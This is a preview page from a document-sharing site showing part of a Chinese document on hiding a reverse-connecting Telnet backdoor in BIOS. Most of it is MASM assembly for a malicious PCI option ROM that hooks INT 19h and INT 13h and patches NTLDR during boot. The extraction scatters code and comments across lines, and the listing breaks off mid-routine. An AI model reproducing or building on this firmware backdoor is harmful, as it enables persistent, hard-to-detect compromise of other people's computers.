BIOS中隐藏Telnet后门文档格式.docx

上传人:b****4 文档编号:16422275 上传时间:2022-11-23 格式:DOCX 页数:16 大小:25.72KB
下载 相关 举报
BIOS中隐藏Telnet后门文档格式.docx_第1页
第1页 / 共16页
BIOS中隐藏Telnet后门文档格式.docx_第2页
第2页 / 共16页
BIOS中隐藏Telnet后门文档格式.docx_第3页
第3页 / 共16页
BIOS中隐藏Telnet后门文档格式.docx_第4页
第4页 / 共16页
BIOS中隐藏Telnet后门文档格式.docx_第5页
第5页 / 共16页
点击查看更多>>
下载资源
资源描述

BIOS中隐藏Telnet后门文档格式.docx

《BIOS中隐藏Telnet后门文档格式.docx》由会员分享,可在线阅读,更多相关《BIOS中隐藏Telnet后门文档格式.docx(16页珍藏版)》请在冰豆网上搜索。

BIOS中隐藏Telnet后门文档格式.docx

相关的工具及相关的源代码会在以后整理发布.

以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装

win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

**********************************************ROM_IMAGE_SIZE 

equ4 

;

整个模块大小单位KB,固定大小4KB.

CSL_KERNEL_DEST 

equ0FFDF0800h 

;

SharedUserData数据结构线性地址.

CSL_USER_BACKDOOR 

equ07FFE0800h 

*****************************************************************************************************************************************RealCodesegmentuse16 

Code16Start:

***************************************************************************************************************************************** 

org 

00h 

####注意:

置代码开始地址以便于确定定置.####,****设置开始偏移:

000h****

dw 

0AA55h 

ROM头格式标识可以生气独立ROM.####,****标识开始偏移:

db 

ROM_IMAGE_SIZE*2 

ROM长度(单位:

512B,块)最小8块.####,****长度开始偏移:

002h****

jmp 

MyROMCodeStart 

修改ROM模拟跳转指令到这里执行####,****指令开始偏移:

003h****

06h 

编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:

ReturnOldROM:

把数据放在头部以便于确定位置.####,****标识开始偏移:

006h****

0e9h,0,0 

执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:

007h****

'

CHKSUM='

填写我们修改后的ROM数据检验和####,****数据偏移地址:

010h**** 

18h 

编译成支持PCI设备的模块:

PCIROM固定大小4KB,其他参看"

PCI2.2规范"

教程

dd 

34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;

硬件realtekPCI8139网卡

*****************************************************************************************************************************************MyROMCodeStart:

pushf

pushad

push 

es

ds

sti 

打开中断,以便接收键盘输入.

mov 

cx,0ffffh 

等待,约为两二秒的按键消息.

call 

WaitPressScrollKey

.if 

!

CARRY?

若按下ScrollLock键,不运行我们的程序.

xor 

ax,ax

es,ax

eax,es:

[19h*4]

es:

[84h*4],eax 

借用中断向量84H,保存中断向量19H.

bx,es:

[413h] 

40:

13,BIOS数据区保存常规的内存大小,单位:

KBs.

and 

bl,NOT3 

注意:

要求分配的物理内存地址,以页作为基地址.

sub 

bx,4 

[413h],bx 

shl 

bx,(10-4) 

bx*=1024/16(KBs->

线性地址=KBs*1024,段:

除以16)

es,bx 

di,di 

es:

di->

分配的实模式高端内存前半部分开始处.

cs

pop 

ds

GetCurrentAddr 

offsetCode16End=offsetCode32Start

GetCurrentAddr:

si 

si->

GetCurrentAddr在内存的地址

dx,si

add 

si,Code16End-GetCurrentAddr 

ds:

Code16End保护模式代码段内存的地址.

cld

cx,((ROM_IMAGE_SIZE/2)*1024)/4 

拷贝保护模式代码数据到分配内存的前半部分.

rep 

movsd

bx,100h 

0->

分配的实模式高端内存后半部分开始处.

si,dx

si,GetCurrentAddr-Code16Start 

Code16Start实模式代码的内存的地址.

拷贝 

实模式代码数据到分配内存的后半部分.

bx,bx

ds,bx

dx,NewINT19H-GetCurrentAddr 

dx->

NewINT19H内存的地址

ds:

[19h*4],dx

[(19h*4)+2],es 

设置成我们的INT19H服务代码

.endif

es

popad

popf 

ReturnOldROM 

跳转到原来的ROM代码的跳转处执行 

retf

*****************************************************************************************************************************************WaitPressScrollKey:

函数入口:

CX=350约为10ms,函数延时:

33(us) 

ax

.repeat

in 

al,60h

.if 

al==46h 

ScrollLock键扫描码:

46h

stc

pop 

ret 

.endif

al,61h 

test 

al,010h 

.continue.if 

!

ZERO?

.repeat

al,10h 

.until 

dec 

cx

.untilcx==0

clc

ret

*****************************************************************************************************************************************NewINT19H:

cli

eax

bochs调试1#.

es,ax 

[84h*4]

[19h*4],eax 

恢复中断向量19H值.

[13h*4]

[85h*4]!

=eax

[85h*4],eax 

借用中断向量85H,保存中断向量13H.reservedforBASIC82h~85h

wordptres:

[13h*4],NewINT13H 

设置NewINT13H在内存的地址.

[(13h*4)+2],cs 

设置成我们的INT13H服务代码

eax

恢复现场

int 

84h 

调用旧的中断向量19H.

iret 

*****************************************************************************************************************************************NewINT13H:

pushf 

有指令要改变标志寄存器值.

test 

ah,0bdh 

是不是读数据到内存?

ah=02,ah=42h.

ZF=0

popf

85h 

调用旧的中断向量13H.

iret

wordptrcs:

[INT13LASTFUNCTION],ax

85h 

CARRY?

CF=1,读失败退出服务

bochs调试2#.可输入指令:

ucs:

ip+2.观察INT13LASTFUNCTION的值.

ax,00h

INT13LASTFUNCTIONEQU$-2

ah==42h

lodsw

lodsw 

参看"

扩展INT13H规范"

[si+2]指传输块数.

les 

bx,[si] 

[si+04h]表示:

传输用的缓冲区内存地址.

al!

=00h

cx,cx 

cl,al

mov 

al,8Bh 

设置搜索标志的第一个字节.

shl 

cx,9 

(CX*200h)搜索搜索计数.

di,bx 

8BF085F67421803D:

MOVESI,EAXTESTESI,ESIJZ$+23hCMPBYTEPTR[ofs32],imm8

cld 

NTLDROSLoder模块里的6字节做为标志,进行HOOK.注意:

选择HOOK位置很关键!

.while 

repne 

scasb 

.break 

dwordptres:

[di]!

=74F685F0h

wordptres:

[di+4]!

=8021h

(es:

di-1)->

我们想被HOOK的指令代码开始处.

byteptres:

[di-8],0ebh 

jmp$指令十六进制值0xebfe,设置在NTLDR暂停.

[di-7],0feh 

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 成人教育 > 成考

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1